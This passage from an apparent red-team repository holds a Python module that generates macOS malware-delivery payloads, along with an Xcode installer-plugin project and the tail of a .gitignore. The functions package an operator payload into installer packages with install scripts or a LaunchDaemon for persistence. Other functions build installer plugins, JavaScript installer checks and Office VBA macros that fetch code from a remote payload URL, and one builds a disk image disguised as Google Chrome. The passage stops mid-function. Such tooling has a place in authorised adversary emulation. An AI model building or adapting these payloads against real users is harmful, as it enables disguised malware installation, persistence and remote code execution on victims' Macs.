157 | dist/
158 | downloads/
159 | eggs/
160 | .eggs/
161 | lib/
162 | lib64/
163 | parts/
164 | sdist/
165 | var/
166 | wheels/
167 | share/python-wheels/
168 | *.egg-info/
169 | .installed.cfg
170 | *.egg
171 | MANIFEST
172 |
173 | # PyInstaller
174 | # Usually these files are written by a python script from a template
175 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
176 | *.manifest
177 | *.spec
178 |
179 | # Installer logs
180 | pip-log.txt
181 | pip-delete-this-directory.txt
182 |
183 | # Unit test / coverage reports
184 | htmlcov/
185 | .tox/
186 | .nox/
187 | .coverage
188 | .coverage.*
189 | .cache
190 | nosetests.xml
191 | coverage.xml
192 | *.cover
193 | *.py,cover
194 | .hypothesis/
195 | .pytest_cache/
196 | cover/
197 |
198 | # Translations
199 | *.mo
200 | *.pot
201 |
202 | # Django stuff:
203 | *.log
204 | local_settings.py
205 | db.sqlite3
206 | db.sqlite3-journal
207 |
208 | # Flask stuff:
209 | instance/
210 | .webassets-cache
211 |
212 | # Scrapy stuff:
213 | .scrapy
214 |
215 | # Sphinx documentation
216 | docs/_build/
217 |
218 | # PyBuilder
219 | .pybuilder/
220 | target/
221 |
222 | # Jupyter Notebook
223 | .ipynb_checkpoints
224 |
225 | # IPython
226 | profile_default/
227 | ipython_config.py
228 |
229 | # pyenv
230 | # For a library or package, you might want to ignore these files since the code is
231 | # intended to run in multiple environments; otherwise, check them in:
232 | # .python-version
233 |
234 | # pipenv
235 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
236 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
237 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
238 | # install all needed dependencies.
239 | #Pipfile.lock
240 |
241 | # poetry
242 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
243 | # This is especially recommended for binary packages to ensure reproducibility, and is more
244 | # commonly ignored for libraries.
245 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
246 | #poetry.lock
247 |
248 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
249 | __pypackages__/
250 |
251 | # Celery stuff
252 | celerybeat-schedule
253 | celerybeat.pid
254 |
255 | # SageMath parsed files
256 | *.sage.py
257 |
258 | # Environments
259 | .env
260 | .venv
261 | env/
262 | venv/
263 | ENV/
264 | env.bak/
265 | venv.bak/
266 |
267 | # Spyder project settings
268 | .spyderproject
269 | .spyproject
270 |
271 | # Rope project settings
272 | .ropeproject
273 |
274 | # mkdocs documentation
275 | /site
276 |
277 | # mypy
278 | .mypy_cache/
279 | .dmypy.json
280 | dmypy.json
281 |
282 | # Pyre type checker
283 | .pyre/
284 |
285 | # pytype static type analyzer
286 | .pytype/
287 |
288 | # Cython debug symbols
289 | cython_debug/
290 |
291 | # Project specific
292 | Payloads/*
293 |
294 | # PyCharm
295 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
296 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
297 | # and can be added to the global gitignore or merged into this file. For a more nuclear
298 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
299 | #.idea/
300 |
301 | # End of https://www.toptal.com/developers/gitignore/api/pycharm,macos,python
302 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 50;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | C20B6734245E000100CEE52C /* MyInstallerPane.m in Sources */ = {isa = PBXBuildFile; fileRef = C20B6733245E000100CEE52C /* MyInstallerPane.m */; };
11 | C20B6737245E000100CEE52C /* MyInstallerPane.xib in Resources */ = {isa = PBXBuildFile; fileRef = C20B6735245E000100CEE52C /* MyInstallerPane.xib */; };
12 | C20B673A245E000100CEE52C /* Localizable.strings in Resources */ = {isa = PBXBuildFile; fileRef = C20B6738245E000100CEE52C /* Localizable.strings */; };
13 | C20B673C245E000100CEE52C /* InstallerSections.plist in Resources */ = {isa = PBXBuildFile; fileRef = C20B673B245E000100CEE52C /* InstallerSections.plist */; };
14 | C20B6740245E000100CEE52C /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = C20B673E245E000100CEE52C /* InfoPlist.strings */; };
15 | /* End PBXBuildFile section */
16 |
17 | /* Begin PBXFileReference section */
18 | C20B672F245E000100CEE52C /* SpecialDelivery.bundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = SpecialDelivery.bundle; sourceTree = BUILT_PRODUCTS_DIR; };
19 | C20B6732245E000100CEE52C /* MyInstallerPane.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = MyInstallerPane.h; sourceTree = ""; };
20 | C20B6733245E000100CEE52C /* MyInstallerPane.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = MyInstallerPane.m; sourceTree = ""; };
21 | C20B6736245E000100CEE52C /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = Base; path = Base.lproj/MyInstallerPane.xib; sourceTree = ""; };
22 | C20B6739245E000100CEE52C /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/Localizable.strings; sourceTree = ""; };
23 | C20B673B245E000100CEE52C /* InstallerSections.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = InstallerSections.plist; sourceTree = ""; };
24 | C20B673D245E000100CEE52C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
25 | C20B673F245E000100CEE52C /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/InfoPlist.strings; sourceTree = ""; };
26 | /* End PBXFileReference section */
27 |
28 | /* Begin PBXFrameworksBuildPhase section */
29 | C20B672C245E000100CEE52C /* Frameworks */ = {
30 | isa = PBXFrameworksBuildPhase;
31 | buildActionMask = 2147483647;
32 | files = (
33 | );
34 | runOnlyForDeploymentPostprocessing = 0;
35 | };
36 | /* End PBXFrameworksBuildPhase section */
37 |
38 | /* Begin PBXGroup section */
39 | C20B6726245E000100CEE52C = {
40 | isa = PBXGroup;
41 | children = (
42 | C20B6731245E000100CEE52C /* SpecialDelivery */,
43 | C20B6730245E000100CEE52C /* Products */,
44 | );
45 | sourceTree = "";
46 | };
47 | C20B6730245E000100CEE52C /* Products */ = {
48 | isa = PBXGroup;
49 | children = (
50 | C20B672F245E000100CEE52C /* SpecialDelivery.bundle */,
51 | );
52 | name = Products;
53 | sourceTree = "";
54 | };
55 | C20B6731245E000100CEE52C /* SpecialDelivery */ = {
56 | isa = PBXGroup;
57 | children = (
58 | C20B6732245E000100CEE52C /* MyInstallerPane.h */,
59 | C20B6733245E000100CEE52C /* MyInstallerPane.m */,
60 | C20B6735245E000100CEE52C /* MyInstallerPane.xib */,
61 | C20B6738245E000100CEE52C /* Localizable.strings */,
62 | C20B673B245E000100CEE52C /* InstallerSections.plist */,
63 | C20B673D245E000100CEE52C /* Info.plist */,
64 | C20B673E245E000100CEE52C /* InfoPlist.strings */,
65 | );
66 | path = SpecialDelivery;
67 | sourceTree = "";
68 | };
69 | /* End PBXGroup section */
70 |
71 | /* Begin PBXNativeTarget section */
72 | C20B672E245E000100CEE52C /* SpecialDelivery */ = {
73 | isa = PBXNativeTarget;
74 | buildConfigurationList = C20B6743245E000100CEE52C /* Build configuration list for PBXNativeTarget "SpecialDelivery" */;
75 | buildPhases = (
76 | C20B672B245E000100CEE52C /* Sources */,
77 | C20B672C245E000100CEE52C /* Frameworks */,
78 | C20B672D245E000100CEE52C /* Resources */,
79 | );
80 | buildRules = (
81 | );
82 | dependencies = (
83 | );
84 | name = SpecialDelivery;
85 | productName = SpecialDelivery;
86 | productReference = C20B672F245E000100CEE52C /* SpecialDelivery.bundle */;
87 | productType = "com.apple.product-type.bundle";
88 | };
89 | /* End PBXNativeTarget section */
90 |
91 | /* Begin PBXProject section */
92 | C20B6727245E000100CEE52C /* Project object */ = {
93 | isa = PBXProject;
94 | attributes = {
95 | LastUpgradeCheck = 1140;
96 | ORGANIZATIONNAME = xorrior;
97 | TargetAttributes = {
98 | C20B672E245E000100CEE52C = {
99 | CreatedOnToolsVersion = 11.4.1;
100 | };
101 | };
102 | };
103 | buildConfigurationList = C20B672A245E000100CEE52C /* Build configuration list for PBXProject "SpecialDelivery" */;
104 | compatibilityVersion = "Xcode 9.3";
105 | developmentRegion = en;
106 | hasScannedForEncodings = 0;
107 | knownRegions = (
108 | en,
109 | Base,
110 | );
111 | mainGroup = C20B6726245E000100CEE52C;
112 | productRefGroup = C20B6730245E000100CEE52C /* Products */;
113 | projectDirPath = "";
114 | projectRoot = "";
115 | targets = (
116 | C20B672E245E000100CEE52C /* SpecialDelivery */,
117 | );
118 | };
119 | /* End PBXProject section */
120 |
121 | /* Begin PBXResourcesBuildPhase section */
122 | C20B672D245E000100CEE52C /* Resources */ = {
123 | isa = PBXResourcesBuildPhase;
124 | buildActionMask = 2147483647;
125 | files = (
126 | C20B6737245E000100CEE52C /* MyInstallerPane.xib in Resources */,
127 | C20B6740245E000100CEE52C /* InfoPlist.strings in Resources */,
128 | C20B673A245E000100CEE52C /* Localizable.strings in Resources */,
129 | C20B673C245E000100CEE52C /* InstallerSections.plist in Resources */,
130 | );
131 | runOnlyForDeploymentPostprocessing = 0;
132 | };
133 | /* End PBXResourcesBuildPhase section */
134 |
135 | /* Begin PBXSourcesBuildPhase section */
136 | C20B672B245E000100CEE52C /* Sources */ = {
137 | isa = PBXSourcesBuildPhase;
138 | buildActionMask = 2147483647;
139 | files = (
140 | C20B6734245E000100CEE52C /* MyInstallerPane.m in Sources */,
141 | );
142 | runOnlyForDeploymentPostprocessing = 0;
143 | };
144 | /* End PBXSourcesBuildPhase section */
145 |
146 | /* Begin PBXVariantGroup section */
147 | C20B6735245E000100CEE52C /* MyInstallerPane.xib */ = {
148 | isa = PBXVariantGroup;
149 | children = (
150 | C20B6736245E000100CEE52C /* Base */,
151 | );
152 | name = MyInstallerPane.xib;
153 | sourceTree = "";
154 | };
155 | C20B6738245E000100CEE52C /* Localizable.strings */ = {
156 | isa = PBXVariantGroup;
157 | children = (
158 | C20B6739245E000100CEE52C /* en */,
159 | );
160 | name = Localizable.strings;
161 | sourceTree = "";
162 | };
163 | C20B673E245E000100CEE52C /* InfoPlist.strings */ = {
164 | isa = PBXVariantGroup;
165 | children = (
166 | C20B673F245E000100CEE52C /* en */,
167 | );
168 | name = InfoPlist.strings;
169 | sourceTree = "";
170 | };
171 | /* End PBXVariantGroup section */
172 |
173 | /* Begin XCBuildConfiguration section */
174 | C20B6741245E000100CEE52C /* Debug */ = {
175 | isa = XCBuildConfiguration;
176 | buildSettings = {
177 | ALWAYS_SEARCH_USER_PATHS = NO;
178 | CLANG_ANALYZER_NONNULL = YES;
179 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
180 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
181 | CLANG_CXX_LIBRARY = "libc++";
182 | CLANG_ENABLE_MODULES = YES;
183 | CLANG_ENABLE_OBJC_ARC = YES;
184 | CLANG_ENABLE_OBJC_WEAK = YES;
185 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
186 | CLANG_WARN_BOOL_CONVERSION = YES;
187 | CLANG_WARN_COMMA = YES;
188 | CLANG_WARN_CONSTANT_CONVERSION = YES;
189 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
190 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
191 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
192 | CLANG_WARN_EMPTY_BODY = YES;
193 | CLANG_WARN_ENUM_CONVERSION = YES;
194 | CLANG_WARN_INFINITE_RECURSION = YES;
195 | CLANG_WARN_INT_CONVERSION = YES;
196 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
197 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
198 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
199 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
200 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
201 | CLANG_WARN_STRICT_PROTOTYPES = YES;
202 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
203 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
204 | CLANG_WARN_UNREACHABLE_CODE = YES;
205 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
206 | COPY_PHASE_STRIP = NO;
207 | DEBUG_INFORMATION_FORMAT = dwarf;
208 | ENABLE_STRICT_OBJC_MSGSEND = YES;
209 | ENABLE_TESTABILITY = YES;
210 | GCC_C_LANGUAGE_STANDARD = gnu11;
211 | GCC_DYNAMIC_NO_PIC = NO;
212 | GCC_NO_COMMON_BLOCKS = YES;
213 | GCC_OPTIMIZATION_LEVEL = 0;
214 | GCC_PREPROCESSOR_DEFINITIONS = (
215 | "DEBUG=1",
216 | "$(inherited)",
217 | );
218 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
219 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
220 | GCC_WARN_UNDECLARED_SELECTOR = YES;
221 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
222 | GCC_WARN_UNUSED_FUNCTION = YES;
223 | GCC_WARN_UNUSED_VARIABLE = YES;
224 | MACOSX_DEPLOYMENT_TARGET = 10.15;
225 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
226 | MTL_FAST_MATH = YES;
227 | ONLY_ACTIVE_ARCH = YES;
228 | SDKROOT = macosx;
229 | };
230 | name = Debug;
231 | };
232 | C20B6742245E000100CEE52C /* Release */ = {
233 | isa = XCBuildConfiguration;
234 | buildSettings = {
235 | ALWAYS_SEARCH_USER_PATHS = NO;
236 | CLANG_ANALYZER_NONNULL = YES;
237 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
238 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
239 | CLANG_CXX_LIBRARY = "libc++";
240 | CLANG_ENABLE_MODULES = YES;
241 | CLANG_ENABLE_OBJC_ARC = YES;
242 | CLANG_ENABLE_OBJC_WEAK = YES;
243 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
244 | CLANG_WARN_BOOL_CONVERSION = YES;
245 | CLANG_WARN_COMMA = YES;
246 | CLANG_WARN_CONSTANT_CONVERSION = YES;
247 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
248 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
249 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
250 | CLANG_WARN_EMPTY_BODY = YES;
251 | CLANG_WARN_ENUM_CONVERSION = YES;
252 | CLANG_WARN_INFINITE_RECURSION = YES;
253 | CLANG_WARN_INT_CONVERSION = YES;
254 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
255 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
256 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
257 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
258 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
259 | CLANG_WARN_STRICT_PROTOTYPES = YES;
260 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
261 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
262 | CLANG_WARN_UNREACHABLE_CODE = YES;
263 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
264 | COPY_PHASE_STRIP = NO;
265 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
266 | ENABLE_NS_ASSERTIONS = NO;
267 | ENABLE_STRICT_OBJC_MSGSEND = YES;
268 | GCC_C_LANGUAGE_STANDARD = gnu11;
269 | GCC_NO_COMMON_BLOCKS = YES;
270 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
271 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
272 | GCC_WARN_UNDECLARED_SELECTOR = YES;
273 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
274 | GCC_WARN_UNUSED_FUNCTION = YES;
275 | GCC_WARN_UNUSED_VARIABLE = YES;
276 | MACOSX_DEPLOYMENT_TARGET = 10.15;
277 | MTL_ENABLE_DEBUG_INFO = NO;
278 | MTL_FAST_MATH = YES;
279 | SDKROOT = macosx;
280 | };
281 | name = Release;
282 | };
283 | C20B6744245E000100CEE52C /* Debug */ = {
284 | isa = XCBuildConfiguration;
285 | buildSettings = {
286 | CODE_SIGN_STYLE = Automatic;
287 | COMBINE_HIDPI_IMAGES = YES;
288 | DEVELOPMENT_TEAM = "";
289 | INFOPLIST_FILE = SpecialDelivery/Info.plist;
290 | INSTALL_PATH = "$(HOME)/Library/Bundles";
291 | PRODUCT_BUNDLE_IDENTIFIER = com.apple.SpecialDelivery;
292 | PRODUCT_NAME = "$(TARGET_NAME)";
293 | WRAPPER_EXTENSION = bundle;
294 | };
295 | name = Debug;
296 | };
297 | C20B6745245E000100CEE52C /* Release */ = {
298 | isa = XCBuildConfiguration;
299 | buildSettings = {
300 | CODE_SIGN_STYLE = Automatic;
301 | COMBINE_HIDPI_IMAGES = YES;
302 | DEVELOPMENT_TEAM = "";
303 | INFOPLIST_FILE = SpecialDelivery/Info.plist;
304 | INSTALL_PATH = "$(HOME)/Library/Bundles";
305 | PRODUCT_BUNDLE_IDENTIFIER = com.apple.SpecialDelivery;
306 | PRODUCT_NAME = "$(TARGET_NAME)";
307 | WRAPPER_EXTENSION = bundle;
308 | };
309 | name = Release;
310 | };
311 | /* End XCBuildConfiguration section */
312 |
313 | /* Begin XCConfigurationList section */
314 | C20B672A245E000100CEE52C /* Build configuration list for PBXProject "SpecialDelivery" */ = {
315 | isa = XCConfigurationList;
316 | buildConfigurations = (
317 | C20B6741245E000100CEE52C /* Debug */,
318 | C20B6742245E000100CEE52C /* Release */,
319 | );
320 | defaultConfigurationIsVisible = 0;
321 | defaultConfigurationName = Release;
322 | };
323 | C20B6743245E000100CEE52C /* Build configuration list for PBXNativeTarget "SpecialDelivery" */ = {
324 | isa = XCConfigurationList;
325 | buildConfigurations = (
326 | C20B6744245E000100CEE52C /* Debug */,
327 | C20B6745245E000100CEE52C /* Release */,
328 | );
329 | defaultConfigurationIsVisible = 0;
330 | defaultConfigurationName = Release;
331 | };
332 | /* End XCConfigurationList section */
333 | };
334 | rootObject = C20B6727245E000100CEE52C /* Project object */;
335 | }
336 |
--------------------------------------------------------------------------------
/src/modules/modules.py:
--------------------------------------------------------------------------------
1 | import os
2 | import dmgbuild
3 |
4 |
5 | def install_pkg(module):
6 | module.set_scripts_dir('simple-package/scripts')
7 |
8 | src = os.path.join(module.agent.c2.appdir,
9 | 'src/Templates/Installer_Package')
10 | dst = module.module_root_path
11 | module.copy_filedir(src, dst)
12 |
13 | module.make_executable('simple-package/scripts/preinstall')
14 | template_file = os.path.join(
15 | module.module_root_path, 'simple-package/scripts/preinstall')
16 | module.update_template('TECHNIQUE_NAME',
17 | module.agent.technique_conversion_name, template_file)
18 |
19 | module.create_dir('simple-package/scripts/files')
20 | dst = os.path.join(module.module_root_path,
21 | 'simple-package/scripts/files/operator-payload')
22 | module.copy_filedir(module.agent.payload_destination, dst)
23 | module.make_executable('simple-package/scripts/files/operator-payload')
24 |
25 | module.generate_payload(
26 | type='pkgbuild', identifier='com.simple.test', output="install_pkg.pkg")
27 |
28 | cleanup = [
29 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | sudo xargs kill',
30 | 'sudo rm -f "/Library/Application Support/operator-payload"'
31 | ]
32 | module.generate_cleanup(cleanup)
33 |
34 | instructions = ['Run pkg written in Payloads']
35 | module.generate_instructions(instructions)
36 |
37 |
38 | def install_pkg_postinstall(module):
39 | module.set_scripts_dir('simple-package/scripts')
40 |
41 | src = os.path.join(module.agent.c2.appdir,
42 | 'src/Templates/Installer_Package_postinstall')
43 | dst = module.module_root_path
44 | module.copy_filedir(src, dst)
45 |
46 | module.make_executable('simple-package/scripts/postinstall')
47 | template_file = os.path.join(
48 | module.module_root_path, 'simple-package/scripts/postinstall')
49 | module.update_template('TECHNIQUE_NAME',
50 | module.agent.technique_conversion_name, template_file)
51 |
52 | module.create_dir('simple-package/scripts/files')
53 | dst = os.path.join(module.module_root_path,
54 | 'simple-package/scripts/files/operator-payload')
55 | module.copy_filedir(module.agent.payload_destination, dst)
56 | module.make_executable('simple-package/scripts/files/operator-payload')
57 |
58 | module.generate_payload(
59 | type='pkgbuild', identifier='com.simple.test', output="install_pkg_postinstall.pkg")
60 |
61 | cleanup = [
62 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | sudo xargs kill',
63 | 'sudo rm -f "/Library/Application Support/operator-payload"'
64 | ]
65 | module.generate_cleanup(cleanup)
66 |
67 | instructions = ['Run pkg written in Payloads']
68 | module.generate_instructions(instructions)
69 |
70 |
71 | def install_pkg_ld(module):
72 | module.set_scripts_dir('simple-package/scripts')
73 |
74 | src = os.path.join(module.agent.c2.appdir,
75 | 'src/Templates/Installer_Package_with_LD')
76 | dst = module.module_root_path
77 | module.copy_filedir(src, dst)
78 |
79 | module.make_executable('simple-package/scripts/preinstall')
80 | module.make_executable('simple-package/scripts/postinstall')
81 |
82 | template_file = os.path.join(
83 | module.module_root_path, 'simple-package/scripts/files/com.simple.plist')
84 | module.update_template('TECHNIQUE_NAME',
85 | module.agent.technique_conversion_name, template_file)
86 |
87 | module.create_dir('simple-package/scripts/files')
88 | dst = os.path.join(module.module_root_path,
89 | 'simple-package/scripts/files/operator-payload')
90 | module.copy_filedir(module.agent.payload_destination, dst)
91 | module.make_executable('simple-package/scripts/files/operator-payload')
92 |
93 | module.generate_payload(
94 | type='pkgbuild', identifier='com.simple.agent', output="install_pkg_LD.pkg")
95 |
96 | cleanup = [
97 | 'sudo launchctl unload /Library/LaunchDaemons/com.simple.agent.plist',
98 | 'sudo rm -f "/Library/LaunchDaemons/com.simple.agent.plist"',
99 | 'sudo rm -f "/Library/Application Support/operator-payload"'
100 | ]
101 | module.generate_cleanup(cleanup)
102 |
103 | instructions = ['Run pkg written in Payloads']
104 | module.generate_instructions(instructions)
105 |
106 |
107 | def install_pkg_installer_plugin(module):
108 | src = os.path.join(module.agent.c2.appdir,
109 | 'src/Templates/Installer_Plugins')
110 | dst = module.module_root_path
111 | module.copy_filedir(src, dst)
112 |
113 | template_file = os.path.join(
114 | module.module_root_path, 'SpecialDelivery/MyInstallerPane.m')
115 | module.update_template('REMOTE_PAYLOAD_URL',
116 | module.agent.payload_hosting_url, template_file)
117 | module.update_template('TECHNIQUE_NAME',
118 | module.agent.technique_conversion_name, template_file)
119 |
120 | module.run_xcodebuild()
121 |
122 | module.create_dir('plugins')
123 |
124 | src = os.path.join(module.module_root_path,
125 | 'build/Release/SpecialDelivery.bundle')
126 | dst = os.path.join(module.module_root_path,
127 | 'plugins/SpecialDelivery.bundle')
128 | module.copy_filedir(src, dst)
129 |
130 | src = os.path.join(module.module_root_path,
131 | 'SpecialDelivery/InstallerSections.plist')
132 | dst = os.path.join(module.module_root_path,
133 | 'plugins/InstallerSections.plist')
134 | module.copy_filedir(src, dst)
135 |
136 | output = 'installer_plugin.pkg'
137 | module.run_pkgbuild(identifier='com.simple.agent',
138 | output=output, has_scripts=False)
139 | src = os.path.join(module.agent.c2.full_payloads_dir, output)
140 | dst = os.path.join(module.module_root_path, 'plugins', output)
141 | module.copy_filedir(src, dst)
142 | module.generate_payload('productbuild-plugin',
143 | identifier='com.simple.agent', output=output)
144 |
145 | cleanup = [
146 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill',
147 | 'rm -f "~/Library/Application Support/operator-payload"'
148 | ]
149 | module.generate_cleanup(cleanup)
150 |
151 | instructions = ['Run pkg written in Payloads']
152 | module.generate_instructions(instructions)
153 |
154 |
155 | def install_pkg_js_embedded(module):
156 | src = os.path.join(module.agent.c2.appdir,
157 | 'src/Templates/Installer_Package_JS')
158 | dst = module.module_root_path
159 | module.copy_filedir(src, dst)
160 |
161 | template_file = os.path.join(module.module_root_path, 'distribution.xml')
162 | module.update_template('REMOTE_PAYLOAD_URL',
163 | module.agent.payload_hosting_url, template_file)
164 | module.update_template('TECHNIQUE_NAME',
165 | module.agent.technique_conversion_name, template_file)
166 |
167 | output = 'installer_js_embedded.pkg'
168 | module.run_pkgbuild(identifier='com.simple.agent',
169 | output=output, has_scripts=False)
170 | module.generate_payload(
171 | 'productbuild-js', identifier='com.simple.agent', output=output)
172 |
173 | cleanup = [
174 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill',
175 | 'rm -f "~/Library/Application Support/operator-payload"'
176 | ]
177 | module.generate_cleanup(cleanup)
178 |
179 | instructions = ['Run pkg written in Payloads']
180 | module.generate_instructions(instructions)
181 |
182 |
183 | def install_pkg_js_script(module):
184 | module.set_scripts_dir('Scripts')
185 | src = os.path.join(module.agent.c2.appdir,
186 | 'src/Templates/Installer_Package_JS_Script')
187 | dst = module.module_root_path
188 | module.copy_filedir(src, dst)
189 |
190 | template_file = os.path.join(module.module_root_path, 'distribution.xml')
191 | module.update_template('templatescript', "installcheck", template_file)
192 | template_file = os.path.join(
193 | module.module_root_path, 'Scripts/installcheck')
194 | module.update_template('TECHNIQUE_NAME',
195 | module.agent.technique_conversion_name, template_file)
196 |
197 | template_file = os.path.join(
198 | module.module_root_path, 'Scripts/installcheck')
199 | module.update_template('REMOTE_PAYLOAD_URL',
200 | module.agent.payload_hosting_url, template_file)
201 | module.make_executable('Scripts/installcheck')
202 |
203 | output = 'install_pkg_js_script.pkg'
204 | module.run_pkgbuild(identifier='com.simple.agent',
205 | output=output, has_scripts=False)
206 | module.generate_payload('productbuild-js-script',
207 | identifier='com.simple.agent', output=output)
208 |
209 | cleanup = [
210 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill',
211 | 'rm -f "~/Library/Application Support/operator-payload"'
212 | ]
213 | module.generate_cleanup(cleanup)
214 |
215 | instructions = ['Run pkg written in Payloads']
216 | module.generate_instructions(instructions)
217 |
218 |
219 | def disk_image(module):
220 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/DMG')
221 | dst = module.module_root_path
222 | module.copy_filedir(src, dst)
223 |
224 | template_file = 'Chrome.app/Contents/MacOS/Application Stub'
225 | module.make_executable(template_file)
226 | template_file = os.path.join(
227 | module.module_root_path, template_file)
228 | module.update_template('TECHNIQUE_NAME',
229 | module.agent.technique_conversion_name, template_file)
230 |
231 | src = '/Applications/Google Chrome.app/Contents/Resources/app.icns'
232 | dst = os.path.join(module.module_root_path,
233 | 'Chrome.app/Contents/Resources/AutomatorApplet.icns')
234 | module.copy_filedir(src, dst)
235 |
236 | dst = os.path.join(module.module_root_path,
237 | 'Chrome.app/Contents/MacOS/operator-payload')
238 | module.copy_filedir(module.agent.payload_destination, dst)
239 | module.make_executable('Chrome.app/Contents/MacOS/operator-payload')
240 |
241 | os.chdir(module.module_root_path)
242 | dmgbuild.build_dmg('../../chrome.dmg', 'Chrome App', 'settings.json')
243 |
244 | cleanup = [
245 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill',
246 | 'sudo rm -rf "/Applications/Chrome.app"'
247 | ]
248 |
249 | module.generate_cleanup(cleanup)
250 |
251 | instructions = ['Run pkg written in Payloads']
252 | module.generate_instructions(instructions)
253 |
254 |
255 | def macro_vba_excel(module):
256 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac')
257 | dst = module.module_root_path
258 | module.copy_filedir(src, dst)
259 |
260 | template_file = os.path.join(
261 | module.module_root_path, 'macro_vba_excel.txt')
262 | module.update_template('REMOTE_PAYLOAD_URL',
263 | module.agent.payload_hosting_url, template_file)
264 | module.update_template('TECHNIQUE_NAME',
265 | module.agent.technique_conversion_name, template_file)
266 | module.copy_filedir(template_file, os.path.join(
267 | module.agent.c2.payloads_dir, 'macro_vba_excel.txt'))
268 |
269 | instructions = [
270 | 'Copy the macro from Payloads/macro_vba_excel.txt to paste into Excel Workbook',
271 | 'When the macro is executed it will save to ~/Library/Containers/com.microsoft.Excel/Data/operator-payload"',
272 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.'
273 | ]
274 | module.generate_instructions(instructions)
275 |
276 |
277 | def macro_vba_ppt(module):
278 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac')
279 | dst = module.module_root_path
280 | module.copy_filedir(src, dst)
281 |
282 | template_file = os.path.join(module.module_root_path, 'macro_vba_ppt.txt')
283 | module.update_template('REMOTE_PAYLOAD_URL',
284 | module.agent.payload_hosting_url, template_file)
285 | module.update_template('TECHNIQUE_NAME',
286 | module.agent.technique_conversion_name, template_file)
287 | module.copy_filedir(template_file, os.path.join(
288 | module.agent.c2.payloads_dir, 'macro_vba_ppt.txt'))
289 |
290 | instructions = [
291 | 'Copy the macro from Payloads/macro_vba_ppt.txt to paste into Powerpoint',
292 | 'When the macro is executed it will save to ~/Library/Containers/com.microsoft.Powerpoint/Data/operator-payload"',
293 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.'
294 | ]
295 | module.generate_instructions(instructions)
296 |
297 |
298 | def macro_vba_word(module):
